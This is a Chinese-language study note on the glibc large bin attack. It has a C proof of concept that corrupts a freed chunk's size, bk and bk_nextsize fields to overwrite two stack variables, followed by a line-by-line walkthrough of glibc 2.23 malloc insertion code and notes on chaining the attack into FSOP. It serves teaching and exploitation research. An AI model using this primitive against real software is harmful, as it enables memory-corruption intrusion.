large bin attack:
利用chunk进入bin中的操作,
Large Bin基础知识:
large bin一共包括63个bin,每一个bin中的chunk大小都不一致,是出于一定区间范围内。
这63个bin被分成6组,每组bin中的chunk之间的公差一致
大于512字节(1024)的chunk称之为large chunk
被释放进large bin 的chunk结构:
prev_size,size,fd,bk,fd_nextsize,bk_nextsize
fd_nextsize==》指向前一个与当前chunk大小不同的第一个空闲快,不包含bin的头指针
bk_nextsize==》指向后一个与当前chunk大小不同的第一个空闲块,不包含bin的头指针
一般空闲的large chunk在fd遍历顺序中,按照从大到小的顺序排列,避免在寻找合适chunk时挨个遍历
large bin插入顺序:
在index相同的情况下:
1、按照大小,从大到小排序,小的链接large bin块
2、如果大小相同,按照free的时间排序
3、多个大小相同的堆块,只有首堆块的fd_nextsize和bk_nextsize会指向其他堆块,后面的堆块这fd_nextsize和bk_nextsize均为0
4、size最大的chunk的bk_nextsize指向最小的chunk,size最小的chunk的fd_nextsize指向最大的chunk
例:
#include <stdio.h>
#include <stdlib.h>
int main()
{
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
unsigned long *p1 = malloc(0x320);
malloc(0x20);
unsigned long *p2 = malloc(0x400);
malloc(0x20);
unsigned long *p3 = malloc(0x400);
malloc(0x20);
free(p1);
free(p2);
void* p4 = malloc(0x90);
free(p3);
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);
malloc(0x90);
fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
return 0;
}
编译:
gcc -g -no-pie closure.c -o closure
在第12行下断点查看打印出来的地址:
在19行下断点==》查看堆块分配:
查看堆块释放情况:
此时p2–>p1==》
由于p1,p2的size均超过了fastbin的最大值==》进入unsorted bin==》
p1小于0x3f0==》最终归属:small bin
p2大于0x3f0==》最终归属:large bin
申请0x90大小的堆块==》
==》对p1进行了分割==》目前处于第一个堆块就是刚申请的0x90的堆块==》
分割流程:
从unsorted bin中拿出最后一个chunk p1
把这个p1放入small bin中,并标记这个small bin中有空闲的chunk
把unsorted bin中拿出最后一个chunk p2(p1已被取出)
把p2放进large bin中,标记着large bin中有空闲chunk
目前unsorted bin中为空==》从small bin中的p1中分割出一个小chunk==》满足请求的p4
==》将剩下的chunk(0x330-0xa0)放回unsorted bin中==》0x6010a0就为被p4分割后的p1==》
将p3释放==》p3进入unsorted bin==》
对p2内部结构数据进行修改==》
未修改前:
修改后:
修改内容:
1、size由0x411==》0x3f1
2、fd置空
3、bk指针修改为stack_var1_addr-0x10
4、fd_nextsize置空
5、bk_nextsize修改成stack_var2_addr-0x20
再次申请0x90的堆块:
分割过程:
1、从unsorted bin中取出0x290的p1,放入small bin 中标记该序列的small bin有空闲的chunk
2、从unsorted bin中取出0x410的p3,放入large bin中
p3进入large bin过程:
判断p3应该归属的bin的类型=》根据size判断是large bin==》
large chunk的数据结构是带有fd_nextsize和bk_nextsize的,且large bin中还存放着p2==》
对两个large chunk进行比较大小==》根据大小制定两个large chunk的fd_nextsize,bk_nextsize,fd,bk指针
2.23libc==》比较过程:
while((unsigned long) size < fwd->size)
{
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}
#遍历比较p3_size < p2_size==》
#large bin种的chunk如果index相同的情况下,按照从大到小的顺序排列==》、
#index相同,size越小,越接近large bin==》
#条件:从unsorted bin中拿出的chunk的size是否小于large bin中前一个被释放的chunk
#如果小于==》执行while循环中的流程
#p2的size被修改为0x3f0,p3的size为0x410,p2<p3,不执行while循环中代码
#进入判断:
if((unsigned long) size == (unsigned long) fwd->size)
fwd = fwd->fd;
#判断p3=p2的情况,不成立不执行
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
#victim==》p3
#fwd==》p2
else中执行的就是p3>p2的情况==》
将p3插入large bin中并制定p2和p3两个large chunk的fd_nextsize和bk_nextsize的过程
执行:
else
{
p3->fd_nextsize = p2;//p3的fd_nextsize要修改成p2的头指针
p3->bk_nextsize = p2->bk_nextsize;//p3的bk_nextsize要修改成p2的bk_nextsize
p2->bk_nextsize = p3;//p2的bk_nextsize要修改成p3的头指针
p3->bk_nextsize->fd_nextsize = p3;//p3的bk_nextsize所指向的堆块的fd_nextsize
}
bck = p2->bk;//bck等于p2的bk
==》此时的stack_var2 = p3头指针
==》接下来指定p2和p3的fd和bk==》
mark_bin(av,victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
#bck为p2的bk指针
#victim是p3的头指针
==》执行==》
mark_bin(av, victim_index);
P3->bk = p2->bk; //P3的bk指针要等于P2的bk指针
P3->fd = P2; //P3的fd指针要等于P2的头指针
P2->bk = P3; //P2的bk指针要等于P3的头指针
bck->fd = P3; //P2的bk指针指向的堆块的fd指针要等于P3的头指针
//该bck为上个阶段赋值的==》bck=fwd->bk = var1-0x10
==》
==》
此时的stack_var1 = p3的头指针
===》执行完程序==》
==》stack_var1和stack_var2均被修改为p3的头指针
利用条件:
修改一个large bin chunk的data
从unsorted bin中来的large bin chunk要紧跟再被构造过的chunk的后面
通过large bin attack 可以辅助Tcaceh stash unlink攻击
可以修改_IO_list_all 便于伪造_IO_FILE结构体进行FSOP
malloc.c中从unsorted bin中摘除chunk的完整过程代码:
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
/* Take now instead of binning if exact fit */
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
/* place chunk in bin */
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long) size < fwd->size)
{
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}
if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;